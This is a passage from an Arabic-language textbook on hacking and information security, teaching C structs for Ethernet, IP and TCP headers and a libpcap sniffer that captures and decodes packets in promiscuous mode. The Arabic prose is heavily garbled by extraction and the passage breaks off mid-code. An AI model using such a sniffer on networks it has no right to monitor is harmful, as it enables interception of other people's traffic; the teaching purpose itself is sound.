،‫الثاين‬ ‫الباب‬ ‫يف‬ ‫بحاج‬ ‫ُنا‬‫ك‬ ‫عندما‬ ‫ة‬ ‫ال‬ ‫نوع‬ ‫قة‬‫عر‬َ‫مل‬ packet ‫م‬ ‫ا‬ ‫ل‬ ‫كانت‬ ‫ذا‬ ARP ‫أم‬ data ‫عادي‬ ‫ة‬ . ‫ال‬ ‫بعمل‬ ‫نقوم‬ َ ‫س‬ structure ،‫مة‬ِّ‫ي‬‫الق‬ ‫املعلومات‬ ‫ذذه‬ ‫عىل‬ ً‫ء‬‫نا‬‫ب‬ ‫نا‬‫ب‬ ‫اخلاص‬ ‫مع‬ ‫التس‬ ‫بعض‬ ‫َغيري‬‫ت‬ ‫ميات‬ ‫غري‬ ‫ال‬ ‫واضح‬ ‫ة‬ ‫يف‬ ‫م‬ُ‫َضعه‬‫ن‬ ‫م‬ُ‫ث‬ ‫أوضح‬ ُ‫ه‬‫َرا‬‫ن‬ ‫ما‬ ‫لىل‬ include file ‫د‬‫ح‬ ‫عىل‬ ‫ة‬ .
  • 200.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [200] #define ETHER_ADDR_LEN 6 #define ETHER_HDR_LEN 14 struct ether_hdr { unsigned char ether_dest_addr[ETHER_ADDR_LEN]; //Dest. MAC unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC unsigned short ether_type; // Type of Ethernet packet }; ‫امللف‬ ‫ذذا‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬ َ ‫س‬ “Network.h” . ‫ال‬ ‫لىل‬ ‫سننتقل‬ ‫واآلن‬ structure ‫اخلاص‬ ‫بال‬ IP Header . IP Header ‫ال‬ ‫أن‬ ‫الحظ‬ IP Header ‫غ‬ُ‫ل‬‫ب‬َ‫ي‬ ‫طوله‬ 20 bytes ‫ال‬ ‫بدون‬ Options field .
  • 201.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [201] ‫ا‬ ‫مع‬ ‫قعلنا‬ ‫وكام‬ ‫ل‬ Ethernet Header .‫اليشء‬ ‫نفس‬ ‫نا‬ُ‫ذ‬ ‫سنفعل‬ ‫ال‬ ‫ذذا‬ ‫سار‬َ‫م‬ ‫وضح‬ُ‫ي‬ ‫الشكل‬ ‫ذذا‬ Header : ‫ماييل‬ ‫حمتويات‬ ‫بعض‬ ‫ال‬ ‫ذذا‬ Struct : struct iphdr { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ihl:4; unsigned int version:4; #elif __BYTE_ORDER == __BIG_ENDIAN unsigned int version:4; unsigned int ihl:4; #else # error "Please fix <bits/endian.h>" #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /*The options start here. */ };
  • 202.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [202] ‫ال‬ ‫ذذا‬ ‫بإنشاء‬ ‫سنقوم‬ Header ‫ال‬ ‫لىل‬ ‫ه‬ّ‫م‬ َ ‫ض‬ ‫و‬ ً‫ا‬‫أيض‬ include file ‫ذاته‬ .. :‫أسميناه‬ ‫الذي‬ “Network.h” struct ip_hdr { unsigned char ip_version_and_header_length; // Ver and hdr len unsigned char ip_tos; // Type of service unsigned short ip_len; // Total length unsigned short ip_id; // Identification number unsigned short ip_frag_offset; // Fragment offset and flags unsigned char ip_ttl; // Time to live unsigned char ip_type; // Protocol type unsigned short ip_checksum; // Checksum unsigned int ip_src_addr; // Source IP address unsigned int ip_dest_addr; // Destination IP address }; ‫ونختم‬ ‫ب‬ ‫ال‬ TCP Header . TCP Header ً‫ا‬‫أيض‬ ‫ال‬ ‫ذذا‬ Header ‫يبلغ‬ ‫طول‬ ‫ه‬ 20 bytes ، ‫ال‬ ‫بدون‬ options field . ‫ض‬‫َعر‬‫ن‬ ‫الصفح‬ ‫يف‬ ‫ة‬ ‫التالي‬ ‫ة‬ ‫ال‬ ‫ذذا‬ ‫شكل‬ Header :
  • 203.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [203] ‫بعض‬ ‫املصادر‬ ‫ال‬ ‫بتعريف‬ ‫تقوم‬ “TCP header length” :‫كاآليت‬ “An integer that specifies the length of the segment header measured in 32-bit multiples” :‫بذلك‬ ‫د‬ َ ‫ص‬‫ق‬ُ‫ي‬‫و‬ “4 bytes * number of segments have been used” ‫سن‬ ‫بتفصيله‬ ‫قوم‬ ..ً‫ا‬‫الحق‬ ‫ماييل‬ ‫ال‬ ‫شكل‬ Structure :‫به‬ ‫اخلاص‬ typedef u_int32_t tcp_seq; /* * TCP header.
  • 204.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [204] * Per RFC 793, September, 1981. */ struct tcphdr { u_int16_t th_sport; /* source port */ u_int16_t th_dport; /* destination port */ tcp_seq th_seq; /* sequence number */ tcp_seq th_ack; /* acknowledgment number */ # if __BYTE_ORDER == __LITTLE_ENDIAN u_int8_t th_x2:4; /* (unused) */ u_int8_t th_off:4; /* data offset */ # endif # if __BYTE_ORDER == __BIG_ENDIAN u_int8_t th_off:4; /* data offset */ u_int8_t th_x2:4; /* (unused) */ # endif u_int8_t th_flags; # define TH_FIN 0x01 # define TH_SYN 0x02 # define TH_RST 0x04 # define TH_PUSH 0x08 # define TH_ACK 0x10 # define TH_URG 0x20 u_int16_t th_win; /* window */ u_int16_t th_sum; /* checksum */ u_int16_t th_urp; /* urgent pointer */ }; ‫سنقوم‬ ‫ال‬ ‫بكتابة‬ ً‫ا‬‫أيض‬ TCP Structure ..‫بطريقتنا‬ ‫بعمل‬ ‫سنقوم‬ ‫أننا‬ ‫الحظ‬ define ‫لل‬ Flags ‫أوضح‬ ‫بطريقة‬ ‫أطرى‬ ً‫ة‬‫مر‬ . struct tcp_hdr { unsigned short tcp_src_port; // Source TCP port unsigned short tcp_dest_port; // Destination TCP port unsigned int tcp_seq; // TCP sequence number
  • 205.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [205] unsigned int tcp_ack; // TCP acknowledgment number unsigned char reserved:4; // 4 bits from the 6 bits of reserved space unsigned char tcp_offset:4; // TCP data offset for little-endian host unsigned char tcp_flags; // TCP flags (and 2 bits from reserved space) #define TCP_FIN 0x01 #define TCP_SYN 0x02 #define TCP_RST 0x04 #define TCP_PUSH 0x08 #define TCP_ACK 0x10 #define TCP_URG 0x20 unsigned short tcp_window; // TCP window size unsigned short tcp_checksum; // TCP checksum unsigned short tcp_urgent; // TCP urgent pointer }; ‫امللف‬ ‫لىل‬ ً‫ا‬‫أيض‬ ‫م‬‫ه‬‫م‬ َ ‫ض‬‫ب‬ ‫نقوم‬ “Network.h” . .!‫رائع‬ ‫عمل‬ ‫ذذا‬ ‫ال‬ ‫بتعريف‬ ‫منا‬ُ‫ق‬ ‫لقد‬ Headers ‫ذيئة‬ ‫عىل‬ Structures ، ‫بعمل‬ ‫يقوم‬‫ل‬ ‫برنامج‬ ‫تابة‬‫ك‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫واآلن‬ decode ‫ال‬ ‫هلذه‬ Headers ‫كل‬ ‫من‬ packet ‫التقاطها‬ ‫يتم‬ . ً‫ا‬‫تع‬ ُ ‫ُم‬ ‫ذلك‬ ‫كون‬َ‫ي‬ َ ‫س‬ ! . The Decoder Sniffer ‫نا‬ُ‫ذ‬ ‫سنقوم‬ ‫بال‬ ‫باالستعانة‬ " libpcap library ،" ‫أنشأناه‬ ‫الذي‬ ‫وامللف‬ “Network.h” ‫تكوين‬ ‫أجل‬ ‫من‬ Sniffer ‫يقوم‬ ‫بعمل‬ capture ‫لل‬ traffic ‫كل‬ ‫تفاصيل‬ ‫عرض‬ ‫و‬ ‫الشبكة‬ ‫عربكارت‬ ‫املار‬ packet ‫عمل‬ ‫مع‬ decode ‫ُل‬‫ك‬‫ل‬ layer ً‫ا‬‫دء‬َ‫ب‬ ‫بال‬ Data-Link Layer ‫بال‬ ً‫ء‬‫وانتها‬ Transport Layer .
  • 206.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [206] ‫الكو‬ ‫ذذا‬ ‫سنطرح‬ ‫عىل‬ ‫د‬ ‫أجزاء‬ ‫ثالثة‬ ‫عىل‬ ‫ل‬ِّ‫ه‬ َ ‫ُس‬‫ن‬ ‫كي‬ ‫نا‬‫س‬ُ‫ف‬‫أن‬ .‫اإلستيعاب‬ ‫عملية‬ ‫أننا‬ ‫الحظ‬ ‫ل‬‫نستبد‬ ‫سوف‬ ‫ال‬ function ‫ال‬ ‫يف‬ ‫استخدمناذا‬ ‫التي‬ sniffer ‫بإسم‬ ‫كانت‬ ‫والتي‬ ‫السابق‬ pcap_next( ) .. .. ‫وظيفتها؟‬ ‫نسيت‬ ‫ذل‬ ‫وظيفتها‬ ‫كانت‬ ‫يف‬ ‫تتمثل‬ ‫ال‬ ‫ب‬‫ل‬ َ‫ج‬ packet .‫التالية‬ ‫لذلك‬ ‫سنستخدم‬ function ‫أطرى‬ ‫ذي‬ ،‫منها‬ ‫أقضل‬ pcap_loop( ) ، ‫م‬ ‫قاعلية‬ ‫أكثر‬ ‫ُعد‬‫ت‬‫و‬ ‫نها‬ . ‫ماييل‬ ‫ال‬ prototype :‫ِبا‬ ‫اخلاص‬ int pcap_loop(pcap_t *handle, int count, pcap_handler caught_packet, u_char *args); ‫ال‬ ‫ماذذه‬ Arguments ‫ج‬‫زع‬ُ‫مل‬‫ا‬ ‫ة‬ ‫تقلق‬ ‫ال‬.. .!! .. ‫سيكون‬ ‫رام‬ُ‫ي‬‫ما‬ ‫عىل‬ ‫يشء‬ ‫كل‬ . ‫لن‬ ‫ال‬ ‫ِبذا‬ ‫بدأ‬ Handle : ‫ال‬ ‫تعريف‬ ‫عطيك‬ُ‫أ‬ ‫دعني‬ Handle ..ً‫ا‬‫جيد‬ ‫لتفهمه‬ ‫التشغيل‬ ‫أنظمة‬ ‫نظر‬ ‫وجهة‬ ‫من‬ ‫السيد‬ ‫لنا‬ ‫عرف‬ُ‫ي‬ Michael Sikorski ‫ال‬ Handles ‫ييل‬ ‫كام‬ : Handles are items that have been opened or created in the OS, such as a window, process, module, menu, file, and so on. Handles are like pointers in that they refer to an object or memory location somewhere else. However, unlike pointers, handles cannot be used in arithmetic operations, and they do not always represent the object’s address. The only thing you can do with a handle is store it and use it in a later function call to refer to the same object. !‫جيد‬ ‫ذذا‬ .. ‫ال‬ ‫ذذا‬ ‫قكرة‬ ‫سنستخدم‬ ‫كيف‬ handle ‫ال‬ ‫ذذه‬ ‫يف‬ ‫نا‬ُ‫ذ‬ pcap_loop( ) ‫؟‬..
  • 207.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [207] ‫ال‬ ‫ذذا‬ ‫سيكون‬ ..ً‫ا‬‫حسن‬ handle ‫ك‬ storage ‫ال‬ ‫قيه‬ ‫ع‬ َ ‫َض‬‫ن‬‫ل‬ return value ‫ال‬ ‫من‬ ‫القادمة‬ function ‫قتح‬ ‫ن‬َ‫ع‬ ‫املسؤولة‬ ‫ال‬ ‫وضعية‬ ‫يف‬ ‫لدينا‬ ‫كة‬َ‫ب‬ َ ‫الش‬ ‫كارت‬ promiscuous mode ‫ك‬ ً‫ا‬‫ق‬‫الح‬ ُ‫ه‬‫م‬‫َستخد‬‫ن‬ ‫م‬ُ‫ث‬ ، Argument ‫ل‬ function ..‫طرى‬ُ‫أ‬ ‫ال‬ ‫ذي‬ pcap_loop( ) . ‫ال‬ ‫اجلزء‬ ‫لليه‬ ‫شري‬ُ‫ي‬ ‫ما‬ ‫بالضبط‬ ‫ذذا‬ Bold ‫ال‬ ‫تعريف‬ ‫من‬ handle .‫كذلك؟‬ ‫أليس‬ .‫قوق‬ ‫لل‬ ‫النسبة‬‫وب‬ Argument ‫الثاني‬ ‫ة‬ ‫رقم‬ ‫قهو‬ ، int ‫ال‬ ‫عدد‬ ‫عن‬ ِّ ‫عرب‬ُ‫ي‬ packets ‫املثال‬ ‫يف‬ ‫وضعناذا‬ ‫والتي‬ ،‫سنلتقطها‬ ‫التي‬ ‫ب‬ ‫السابق‬ ( 3 ،) ‫لو‬ ‫أنه‬ ‫الحظ‬ ‫ب‬ ‫وضعها‬ ‫تم‬ " -1 " ‫بذلك‬ ‫قنعني‬ loop ‫ال‬ ‫غلق‬ ‫يتم‬ ‫أن‬ ‫لىل‬ Sniffer . ‫ال‬ ‫بخصوص‬ Argument ‫عن‬ ‫عبارة‬ ‫قهو‬ ‫الثالثه‬ pointer ‫ل‬ function ‫أطرى‬ .. ‫ال‬ ‫أن‬ ‫يبدو‬ pcap_loop( ) ‫بعمل‬ ‫ذنا‬ ‫ستقوم‬ call ‫ل‬ function ‫ُسميها‬‫ن‬‫س‬ ..‫أطرى‬ caught_packet( ) ‫بإعطائنا‬ ‫لتقوم‬ ‫ل‬‫فص‬ُ‫م‬ ‫معلومات‬ ‫ة‬ ‫ال‬ ‫ذذه‬ ‫عن‬ packet ‫ال‬ ‫بالتقاطها‬ ‫قامت‬ ‫التي‬ pcap_loop( ) . ‫ال‬ ‫تفاصيل‬ ‫حتوي‬ ‫قهي‬ packet ‫احلالية‬ ‫ل‬َ‫م‬َ‫ع‬ ‫َم‬‫ت‬ ‫التي‬ capture ‫ل‬‫َقب‬‫ت‬‫َس‬‫ت‬ َ ‫س‬ ،‫هلا‬ Arguments ‫عن‬ ‫بارة‬‫ع‬ pointers ، ‫ال‬ ‫ذذه‬ Pointers ‫ت‬ ‫قوم‬ ‫باإلشار‬ ‫ة‬ ‫ال‬ ‫لىل‬ packet header ‫وال‬ packet itself . ‫ال‬ ‫شكل‬ ‫ذو‬ ‫ذا‬ caught_packet( ) : void caught_packet(u_char *args, const struct pcap_pkthdr *cap_header, const u_char *packet); ‫ال‬ Argument ‫ذي‬ ‫الثانية‬ object ‫ال‬ ‫من‬ ‫اشتقاقه‬ ‫تم‬ struct pcap_pkthdr ‫وذو‬ struct ‫ال‬ ‫يف‬ ‫موجود‬ libpcap lib . .‫قليل‬ ‫بعد‬ ‫عنه‬ ‫سنتكلم‬ ‫ذو‬ ‫واألطري‬ pointer ‫س‬ ‫ال‬ ‫داطل‬ ‫به‬ ‫نتحرك‬ packet ‫لتقط‬ُ‫مل‬‫ا‬ ‫ة‬ ‫ال‬ ‫عملية‬ ‫يف‬ ‫بخدمتنا‬ ‫ليقوم‬ Decoding .
  • 208.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [208] ‫فاجئات‬ُ‫مل‬‫با‬ ‫الغني‬ ‫الكود‬ ‫ذذا‬ ‫الستقبال‬ ‫تهيئتك‬‫ل‬ ‫طفيفة‬ ‫مة‬ِّ‫قد‬ُ‫م‬ ‫ذذه‬ ‫كانت‬  .. ‫الكود‬ ‫بتقسيم‬ ‫سنقوم‬ ‫أجزاء‬ ‫ثالثة‬ ‫عىل‬ .‫البداية‬ ‫يف‬ ‫لك‬ ُ ‫َرت‬‫ك‬َ‫ذ‬ ‫كام‬ ُ‫ه‬‫ن‬‫م‬ ‫جزء‬ ‫أول‬ ‫ييل‬ ‫ما‬ #include <pcap.h> #include "error.h" #include "network.h" void pcap_fatal(const char *, const char *); void decode_ethernet(const u_char *); void decode_ip(const u_char *); u_int decode_tcp(const u_char *); void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *); int main() { struct pcap_pkthdr cap_header; const u_char *packet, *pkt_data; char errbuf[PCAP_ERRBUF_SIZE]; char *device; pcap_t *pcap_handle; device = pcap_lookupdev(errbuf); if(device == NULL) pcap_fatal("pcap_lookupdev", errbuf); printf("Sniffing on device %sn", device); pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf); if(pcap_handle == NULL) pcap_fatal("pcap_open_live", errbuf); pcap_loop(pcap_handle, 3, caught_packet, NULL); pcap_close(pcap_handle); } ‫ال‬ ‫بعض‬ ‫البداية‬ ‫يف‬ ‫يظهر‬ function prototypes ، ..
  • 209.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [209] ‫ال‬ ‫تعريف‬ ‫ُر‬‫ك‬‫تذ‬ ‫ذل‬ prototype .‫؟‬ ‫ثالث‬ ‫يوجد‬ ‫ة‬ functions ‫ال‬ ‫بوظيفة‬ ‫ليقوموا‬ ‫تعريفهم‬ ‫تم‬ decode ‫لل‬ packets ‫لتقط‬ُ‫مل‬‫ا‬ ‫ة‬ . ‫بال‬ ‫اخلاصة‬ ،‫األطرية‬ ‫أن‬ ‫الحظ‬ TCP Header ‫نوع‬ ‫من‬ ‫ليست‬ void ‫قيمة‬ ‫بإرجاع‬ ‫ستقوم‬ ‫بل‬ ، ، ‫ال‬ ‫ذذه‬ ‫لنا‬ ‫ع‬‫ج‬ ُ ‫قسرت‬ function ‫ذي‬ ‫قيمة‬ : TCP Header Length . ‫حال؟‬ ‫بأي‬ ُ‫ه‬‫جم‬ َ‫ح‬ ‫نحسب‬ ‫ملاذا‬ ‫ولكن‬ ‫بحاج‬ ‫نحن‬ ‫ة‬ ‫ال‬ ‫حجم‬ ‫معرقة‬ ‫النهاية‬ ‫يف‬ ‫لنا‬ ‫يتسنى‬ ‫كي‬ ُ‫ه‬‫حجم‬ ‫حلساب‬ data ‫ال‬ ‫داطل‬ packet ‫ال‬ ‫طرح‬ ‫بعد‬ ‫وذلك‬ Header Length ‫بكل‬ ‫اخلاص‬ Layer ‫ال‬ ‫حجم‬ ‫لنا‬ ‫قيتبقى‬ data .‫الفعيل‬ ‫بال‬ ‫الربنامج‬ ‫يبدأ‬ ‫ثم‬ main( ) struct pcap_pkthdr cap_header; const u_char *packet, *pkt_data; char errbuf[PCAP_ERRBUF_SIZE]; char *device; pcap_t *pcap_handle; ‫البداية‬ ‫يف‬ ‫يظهر‬ ‫اشتقاق‬ object ‫ال‬ ‫من‬ Struct ‫سمى‬ُ‫مل‬‫ا‬ pcap_pkthdr . ‫ال‬ ‫ذذا‬ ‫تتذكر‬ ‫ذل‬ Struct ‫؟‬ . ‫ال‬ ‫يف‬ ‫استخدمناه‬ ‫لقد‬ Sniffer ‫السابق‬ ، ‫ال‬ ‫منه‬ ‫استخدمنا‬ ‫حيث‬ element ‫لنا‬ ‫ليعرض‬ ‫األطري‬ ‫ماييل‬ : ”Length of Captured Packet” :‫شكله‬ ‫ذو‬ ‫ذذا‬
  • 210.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [210] struct pcap_pkthdr { struct timeval ts; /* time stamp */ bpf_u_int32 caplen; /* length of portion present */ bpf_u_int32 len; /* length this packet(off wire) */ }; ‫بتعريف‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬ pointers ‫نوع‬ ‫من‬ unsigned char ‫ذم‬ packet ‫و‬ pkt_data . ‫ال‬ ‫م‬‫نستخد‬ َ ‫س‬ pointer ‫ال‬ ‫ل‬‫داط‬ ‫ك‬ ُّ‫ر‬َ‫َح‬‫ت‬‫ال‬ ‫عملية‬ ‫يف‬ ‫األول‬ memory block ‫بال‬ ‫اخلاصة‬ Headers . ‫ال‬ ‫درس‬ ‫تتذكر‬ ‫ذل‬ pointers ‫األول؟‬ ‫الباب‬ ‫يف‬ ‫ل‬ ‫بمثال‬ ‫األمر‬ ‫ذذا‬ ‫عن‬ ‫حتدثنا‬ ‫قد‬ “Hello world!” . ‫وال‬ pointer ‫ك‬ ‫سنستخدمه‬ ‫الثاين‬ Argument ‫لل‬ Dump( ) ‫ال‬ ‫عن‬ ‫لنا‬ ‫عرب‬ُ‫ي‬‫ل‬ row bytes ‫لتقط‬ُ‫مل‬‫ا‬ ‫ة‬ . ‫بضيفنا‬ ‫نلتقي‬ ‫ثم‬ ‫ال‬ ‫العزيز‬ Handle ‫قليل‬ ‫منذ‬ ‫عنه‬ ‫تكلمنا‬ ‫الذي‬ " Pcap_handle ،" ُ‫ه‬‫وظيفت‬ ‫تعي‬ ‫وأنك‬ ‫البد‬ .ً‫ا‬‫جيد‬ ‫ال‬ ‫بتجهيز‬ ‫نقوم‬ ‫ثم‬ device ‫ال‬ ‫لعملية‬ sniff ‫ال‬ ‫باستخدام‬ lookup_dev( ) ، ‫ال‬ ‫عملية‬ ‫بعدذا‬ ‫لتبدأ‬ Looping ‫ال‬ ‫الستقبال‬ packets ‫ال‬ ‫عملية‬ ‫ولجراء‬ Decoding ‫التفاصيل‬ ‫الستخراج‬ . ‫ال‬ ‫أن‬ ‫ُالحظ‬‫ت‬ ‫كام‬ pcap_loop( ) ‫بعمل‬ ‫ستقوم‬ call ‫لل‬ caught_packet( ) ، ‫كل‬ ‫مع‬ ‫استدعاؤذا‬ ‫سيتم‬ ‫األطرية‬ ‫ذذه‬ packet ‫ا‬ ‫تقوم‬ ‫ل‬ pcap_loop .‫بالتقاطها‬ ‫األ‬ ‫اجلزء‬ ‫ينتهي‬ ‫ذنا‬ ‫لىل‬ ‫ول‬ . ‫ال‬ ‫وظيفة‬ ‫يف‬ ‫ل‬ِّ‫ث‬‫تم‬ُ‫مل‬‫وا‬ ،‫الثاين‬ ‫اجلزء‬ ‫لىل‬ ‫سننتقل‬ caught_packet( ) ‫ق‬ ‫الكود‬ ‫ذذا‬ ‫يف‬ ‫حموري‬ ‫بدور‬ ‫تقوم‬ ‫هي‬ .
  • 211.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [211] void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char *packet) { int tcp_header_length, total_header_size, pkt_data_len; u_char *pkt_data; printf("==== Got a %d byte packet ====n", cap_header->len); decode_ethernet(packet); decode_ip(packet + ETHER_HDR_LEN); tcp_header_length = decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr)); total_header_size = ETHER_HDR_LEN + sizeof(struct ip_hdr) + tcp_header_length; /*pkt_data points to the dataportion*/ pkt_data = (u_char *)packet + total_header_size; pkt_data_len = cap_header->len - total_header_size; if(pkt_data_len > 0) { printf("ttt%u bytes of packet datan", pkt_data_len); dump(pkt_data, pkt_data_len); } else printf("tttNo Packet Datan"); } void pcap_fatal(const char *failed_in, const char *errbuf) { printf("Fatal Error in %s: %sn", failed_in, errbuf); exit(1); }
  • 212.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [212] ‫ال‬ ‫الكود‬ ‫بداية‬ ‫يف‬ ‫لنا‬ ‫يظهر‬ caught_packet( ) ، ‫ال‬ ‫من‬ ‫جمموعة‬ ‫ها‬ُ‫ع‬‫تب‬َ‫ي‬ Integer variables ، ‫أهنم‬ ‫يبدو‬ Local variables ، ‫ال‬ ‫ذذه‬ ‫داطل‬ ‫م‬ُ‫مه‬‫سنستخد‬ ‫أننا‬ ‫بمعنى‬ function .‫ققط‬ ‫وللتذكري‬ .. ‫ال‬ ‫ذذه‬ ‫من‬ ‫ُريد‬‫ن‬ function ‫ال‬ ‫ل‬‫َفص‬‫ت‬ ‫أن‬ Headers ‫ال‬ ‫ل‬‫َفص‬‫ت‬ ‫م‬ُ‫ث‬ ،‫بعضهم‬ ‫عن‬ data ‫عن‬ ً‫ا‬‫أيض‬ ‫ض‬‫َعر‬‫ت‬‫ل‬ ،‫هم‬ ‫ال‬ ‫ذذه‬ ‫لنا‬ data ‫ال‬ ‫استدعاء‬ ‫طريق‬ ‫عن‬ Dump( ) . :‫األسطر‬ ‫بقية‬ ‫عىل‬ ّ‫ر‬ُ‫نم‬‫ل‬ ‫ذيا‬ printf("==== Got a %d byte packet ====n", cap_header->len); ‫ال‬ ‫سنستخدم‬ printf( ) ‫الشاشة‬ ‫عىل‬ ‫لنا‬ ‫لتطبع‬ ‫ذنا‬ Length of packet ، ‫ال‬ ‫ذذا‬ ‫أن‬ ‫الحظ‬ length ‫ال‬ ‫حجم‬ ‫ل‬ِّ‫ث‬‫م‬ُ‫ي‬ data + Headers ‫لذا‬ . ‫ذذه‬ ‫داللة‬ ‫نسيت‬ ‫اإلشارة‬ " -> " ‫ال‬ ‫درس‬ ‫مراجعة‬ ‫يمكنك‬ Structs ‫األول‬ ‫الباب‬ ‫يف‬ . ‫ال‬ ‫ِبذه‬ ‫تبدأ‬ ‫التي‬ ‫املجموعه‬ ‫هلذه‬ ‫نأيت‬ ‫ثم‬ Function : decode_ethernet(packet); ‫ال‬ ‫ذذه‬ ‫تنفيذ‬ ‫يتم‬ function ‫ال‬ ‫داطل‬ caught_packet( ) ‫قهي‬ ‫ذ‬ ُ ‫تأط‬ Argument ‫عن‬ ‫عباره‬ Pointer ‫َق‬‫ت‬‫ل‬ ‫ال‬ ‫موضع‬ ‫عىل‬ ‫به‬ ‫ف‬ Ethernet Header ‫ال‬ ‫داطل‬ Packet َ‫ط‬َ‫ق‬َ‫ت‬‫ل‬ُ‫مل‬‫ا‬ ‫ة‬ . ‫ل‬ ‫ال‬ ‫بعمل‬ ‫تقوم‬ Decoding ‫ال‬ ‫هلذا‬ Header . ( ُ‫ن‬‫س‬ ‫ال‬ ‫ذذا‬ ‫شاذد‬ Header ‫من‬ ‫الثالث‬ ‫اجلزء‬ ‫يف‬ ‫بالتفصيل‬ ‫الكود‬ ) . ‫ولكن‬ ‫بال‬ ‫اإلنتقال‬ ‫عملية‬ ‫تتم‬ ‫كيف‬ ‫لك‬ ‫أوضح‬ ‫دعني‬ Pointer ‫سمى‬ُ‫مل‬‫ا‬ packet ،!ً‫ا‬‫أيض‬ ‫ال‬ ‫داطل‬ Packet ‫ل‬ُ‫مل‬‫ا‬ َ‫ط‬َ‫ق‬َ‫ت‬ ‫ة‬ ُ‫ه‬ُ‫ت‬‫م‬‫ه‬َ‫ق‬ ‫كام‬ ‫أنا‬ ! .. ‫ال‬ ‫برنامج‬ ‫لىل‬ ‫سأذذب‬ paint ..‫قليل‬ ‫بعد‬ ‫لليك‬ ‫وأعود‬
  • 213.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [213] ..!‫دنا‬ُ‫ع‬ ‫ال‬ ‫أن‬ ‫ترى‬ ‫كام‬ decode_ethernet( ) ‫ال‬ ‫بداية‬ ‫يف‬ ‫تقف‬ ‫ألن‬ ‫حتتاج‬ Packet ‫ال‬ ‫قتضع‬ Pointer .‫بدايتها‬ ‫يف‬ ً‫ة‬‫مر‬ ‫ذاذي‬ :‫أطرى‬ decode_ethernet(packet); ‫نأيت‬ ‫لىل‬ decode_ip( ) decode_ip(packet+ETHER_HDR_LEN); ‫ال‬ ‫بتحريك‬ ‫ذذه‬ ‫ستقوم‬ Pointer ‫ال‬ ‫بداية‬ ‫عند‬ ‫ليكون‬ IP Header ، ‫ال‬ ‫يكون‬ ‫وبالتايل‬ Argument ‫قوق‬ ‫ترى‬ ‫كام‬ .
  • 214.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [214] ُ‫ت‬ ً‫ا‬‫أيض‬ ‫وذذه‬ ‫عمل‬ ‫ريد‬ decode ‫لل‬ TCP Header .. ‫ال‬ ‫بتحريك‬ ‫قستقوم‬ Pointer ‫ال‬ ‫بداية‬ ‫لىل‬ Address of TCP Header . tcp_header_length = decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr)); ‫ال‬ ‫ذذه‬ ‫أن‬ ‫الحظ‬ function ‫بصيغة‬ ‫قيمة‬ ‫لنا‬ ‫جع‬ ُ ‫سرت‬ ‫بالذات‬ int :‫بإسم‬ tcp_header_length ‫الباقني‬ ‫بعكس‬ . ‫ال‬ ‫معرقة‬ ‫نريد‬ ‫واآلن‬ Length of data ‫ال‬ ‫باستخدام‬ ‫طباعتها‬ ‫لنا‬ ‫يتسنى‬ ‫كي‬ ‫بمفردذا‬ Dump( ) ، ‫األسطر‬ ‫التالية‬ ‫س‬ ‫ت‬ ‫وضح‬ ‫لنا‬ :‫العملية‬ ‫ذذه‬ total_header_size = ETHER_HDR_LEN + sizeof(struct ip_hdr) + tcp_header_length; ‫لل‬ ‫الكيل‬ ‫احلجم‬ ‫حساب‬ ‫يتم‬ Header ‫يف‬ ‫ووضعه‬ Local Variable ‫ال‬ ‫داطل‬ ‫تعريفه‬ ‫تم‬ ‫الذي‬ Caught_packet( ) .. ‫ال‬ ‫حجم‬ ‫من‬ ُ‫ه‬‫ح‬ َ‫َطر‬‫ن‬ ‫م‬ُ‫ث‬ packet .‫ُيل‬‫ك‬‫ال‬ /*pkt_data points to the data portion.*/ pkt_data = (u_char 